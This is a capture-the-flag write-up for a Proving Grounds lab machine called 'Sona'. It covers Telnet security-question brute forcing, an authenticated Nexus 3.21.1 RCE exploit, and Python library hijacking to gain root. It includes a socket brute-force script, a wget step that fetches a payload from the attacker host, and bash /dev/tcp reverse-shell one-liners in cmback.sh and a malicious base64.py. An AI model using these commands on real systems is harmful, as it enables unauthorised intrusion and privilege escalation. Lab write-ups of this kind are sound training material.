Sona - OSPG

Read this in "about 11 minutes".

Summary of Results

We’ll recover the admin password via a Telnet service. With the valid credentials, we can further carry out a Remote Code Execution attack against the vulnerable Nexus Repository Manager application and acquire an initial access. Local enumeration discloses a system user password, which we will leverage to mount a Python Library Hijacking attack and compromise root access.


Attack Narrative

The attack is concluded in four phases:

  • Enumeration.
  • Initial Foothold.
  • Local User Access.
  • Privilege Escalation.


Enumeration

We’ll begin with a nmap scan:

root@kali:~/sona# nmap -sV -sC --open 192.168.59.159 -oA nmap/services

PORT     STATE SERVICE REASON         VERSION
23/tcp   open  telnet? syn-ack ttl 64
8081/tcp open  http    syn-ack ttl 64 Jetty 9.4.18.v20190429
|_http-favicon: Unknown favicon MD5: 9A008BECDE9C5F250EDAD4F00E567721
| http-methods: 
|_  Supported Methods: GET HEAD
| http-robots.txt: 2 disallowed entries 
|_/repository/ /service/
|_http-server-header: Nexus/3.21.1-01 (OSS)
|_http-title: Nexus Repository Manager
  • There are two running services: Telnet and HTTP.


Nexus Repository Manager 3

The nmap results yielded some valuable information: Nexus/3.21.1-01. However, when navigating to the site, we can’t harvest much information there.

Yet, we do notice that Nexus v3.21.1 is a vulnerable application that could lead to Remote Code Execution (RCE), but it requires administrator access.

At this point, trying couple of basic combinations i.e. admin:admin, root:toor, etc. without returning a desire result, we move on to Telnet service.


Telnet Enumeration

Let’s us try to connect Telnet.

$ telnet 192.168.68.159 23
Trying 192.168.68.159...
Connected to 192.168.68.159.
Escape character is '^]'.
====================
NEXUS BACKUP MANAGER
====================
ANSONE  Answer question one
ANSTWO  Answer question two
BACKUP  Perform backup
EXIT    Exit
HELP    Show help
HINT    Show hints
RECOVER Recover admin password
RESTORE Restore backup

Inspecting the outputs, it is a custom backup application with compelling options. Within the scope of this writeup, we focuses on the four options: HINT, ANSONE, ANSTWO and RECOVER.

First thing first, lets access the HINT option to examine its behavior:

$ telnet 192.168.68.159 23
Trying 192.168.68.159...
Connected to 192.168.68.159.
Escape character is '^]'.
====================
NEXUS BACKUP MANAGER
====================
ANSONE  Answer question one
ANSTWO  Answer question two
BACKUP  Perform backup
EXIT    Exit
HELP    Show help
HINT    Show hints
RECOVER Recover admin password
RESTORE Restore backup
HINT
1.What is your zodiac sign?
2.What is your favorite color?

And if we type an invalid option, it returns Incorrect and closes the connection.

$ telnet 192.168.68.159 23
[...]
HINT
1.What is your zodiac sign?
2.What is your favorite color?
TEST
Incorrect
Connection closed by foreign host.

As we can see, there are two hints respectively related to ANSONE and ANSTWO. Lets us further examine those options.

$ telnet 192.168.68.159 23
[...]
ANSONE
Please Enter Answer
ANSONE <answer>
gemini
Incorrect
Connection closed by foreign host.

It requires us to submit an answer, and sends us back the result, i.e. Incorrect → closes the connection if wrong answer.

The same thing with ANSTWO.

$ telnet 192.168.68.159 23
[...]
ANSTWO
Please Enter Answer
ANSTWO <answer>
blue
Incorrect
Connection closed by foreign host.

and also same with the RECOVER option.

With those behaviours, it’s convenient to create an automatic script and brute force the answers.

$ cat ansone.py

#!/usr/bin/env python3
import socket
import sys
from time import sleep

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 23
IP = "192.168.68.159"
pwd_f = sys.argv[1]

with open(pwd_f, 'r', encoding='ISO-8859-1') as pwds:
    pwds_read = pwds.readlines()
    for pwd in pwds_read:
        pwd = pwd.strip()
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((IP, port))
            s.recv(1024)
            s.recv(1024)
            try:
                print(f"Trying password: {pwd}")
                option = "<ANSONE|ANSTWO>"
                s.send(bytes(option, "latin-1"))
                s.recv(1024)
                sleep(1)
                s.send(bytes(pwd, "latin-1"))
                d = s.recv(2048)
                if not "Incorrect" in d.decode():
                    print(f"Found!: {pwd}")
                    break
                else:
                    pass
            except:
                pass
  • The above script is used to brute force the ANSONE option with a given wordlist. We can use the script as follow:
$ python3 ansone.py sign.txt # → sign.txt contents are zodiac signs 
Trying password: aries
[...]
Found!: leo

and found the answer for question 1 is leo .

  • Next, we attack the ANSTWO.

With the similar script, but we want to change the value of option variable to ANSTWO, then execute:

$ python3 anstwo.py colors-list.txt # → colors-list.txt is a list of common colors
Trying password: alizarin
[...]
Found!: black

black is the accurate answer for ANSTWO.

Before running a script against the last option RECOVER, we want to guess some simple combinations: leo, black, leoblack, or blackleo.

$ telnet 192.168.68.159 23
[...]
RECOVER
Please Enter Password
RECOVER <password>
blackleo
3e409e89-514c-4f9f-955e-dfa5c4083518

Perfectly, blackleo yieled the admin password! With the credentials, we are back to the point where Authenticated RCE was discovered.


Initial Foothold

Nexus Repository Manger 3 Exploitation

Conducting a few researches, we discover the application Nexus 3.21.1 is vulnerable to Java Expression Language (EL) injection. A successful exploitation will result to Remote Code Execution on the target system.

$ searchsploit sonatype
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)                                                                                                                    | java/webapps/49385.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  • PoC can also be found here.

Now, we need to modify some variables in the exploit script.

  • URL → Nexus web application.
  • CMD → Command we desire to execute on the target system.

it’s worth to notice that due to bad characters, a high chance the reverse shell will be failed if it’s directly called.

To overcome the situation, we’ll nest our reverse shell into a script → first CMD is called to download the script → second CMD is called to execute the downloaded script.

The idea works as the following:

  1. Start a python server.
    $ sudo python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    
  2. Modify CMD to download the script.
    #CMD='wget 192.168.49.68:80/cmback.sh -O cmback.sh' # → The command is called to download `cmback.sh`.
    $ cat cmback.sh
    bash -c "bash -i >& /dev/tcp/192.168.49.68/8081 0>&1" # → Reverse shell is embedded in the `cmback.sh` script.
    $ python3 49385.py # → Execute the exploit script.
    [...]
    
  3. Modify CMD once again to execute the downloaded script.
    #CMD='bash cmback.sh'
    $ python3 49385.py # → Execute the exploit script.
    

After a few seconds, we got a reverse shell at port 8081 as nexus.

$ sudo nc -nlvp 8081
Listening on 0.0.0.0 8081
Connection received on 192.168.68.159 42742
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
nexus@sona:~/nexus-3.21.1-01$

Local User Access

Plain-text password

A sona user is discovered via the /etc/passwd file.

nexus@sona:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
nexus:x:1000:1000::/home/nexus:/bin/sh
sona:x:1001:1001::/home/sona:/bin/sh  

Further enumeration reveals a password of sona stored in users.xml file.

nexus@sona:/dev/shm$ cat /home/nexus/nexus-3.21.1-01/system/users.xml
<users>
<id>1001</id>
<username>sona</username>
<password>KuramaThe9</password>
</users>

With the new password, we can jump on sona shell with su command.

nexus@sona:/dev/shm$ su - sona
Password: KuramaThe9
$ bash
sona@sona:~$

Privilege Escalation

Crontab

Within the sona home directory, we found a python script logcrypt.py.

sona@sona:~$ ls -al
total 40
drwxrwxrw- 3 sona sona 4096 Aug 25 09:04 .
drwxr-xr-x 4 root root 4096 Feb 10  2021 ..
lrwxrwxrwx 1 root root    9 Feb 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 sona sona  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 sona sona 3771 Feb 25  2020 .bashrc
-r--r--r-- 1 sona sona   33 Aug 25 06:30 local.txt
-r-xr----- 1 root sona  210 Feb 10  2021 logcrypt.py
-rw-r--r-- 1 sona sona  807 Feb 25  2020 .profile
drwxr-xr-x 2 root root 4096 Aug 25 09:04 __pycache__
-rw------- 1 sona sona 2481 Aug 25 09:04 .viminfo

Lets us further inspect the script.

sona@sona:~$ cat logcrypt.py 
#!/usr/bin/python3

import base64

log_file = open('/var/log/auth.log','rb')
crypt_data = base64.b64encode(log_file.read())
cryptlog_file = open('/tmp/log.crypt','wb')
cryptlog_file.write(crypt_data)

Primarily, the script will:

  • → Load base64.py module.
  • → Open and read /var/log/auth.log.
  • → Encode its contents to base64 utilizing b64encode.
  • → Write the encoded contents to /tmp/log.crypt file.

Lets continually investigating the /tmp/log.crypt file.

sona@sona:~$ ls -al /tmp/log.crypt
-rw-r--r-- 1 root root 49820 Aug 25 08:55 /tmp/log.crypt
sona@sona:~$ date
Wed 25 Aug 2021 08:56:01 AM UTC

The above commands comparing the modifying time of the log.crypt (08:55 Aug 25) and current timestamp (08:56 25 Aug). They are closed to each other, this implies there is a type of crontab running.

On the other hand, its worth taking note that logcrypt.py can only be executed by root, so the crontab is running by root.


Python Library Hijacking

When logcrypt.py is executed, it searches for base64.py module in the following locations:

  1. PYTHONPATH environment.
  2. The current directory of the logcrypt.py. → This is exactly what we’re searching for.
  3. Installation-dependent directories.

At this point, we should comprehend that base64.py module is fully under our control.

In the sona home directory, we create an evil base64.py to manipulate logcrypt.py behaviours.

Evil base64.py module example:

sona@sona:~$ chmod 776 .
sona@sona:~$ nano base64.py 
#!/usr/bin/python3

import os

def b64encode(arg):
    os.system("bash -c 'bash -i >& /dev/tcp/192.168.49.68/23 0>&1'")

After a few minutes, our nc caught reverse shell at port 23 as root!.

$ sudo nc -nlvp 23
Listening on 0.0.0.0 23
Connection received on 192.168.68.159 45534
bash: cannot set terminal process group (44844): Inappropriate ioctl for device
bash: no job control in this shell
root@sona:~# id    
id
uid=0(root) gid=0(root) groups=0(root)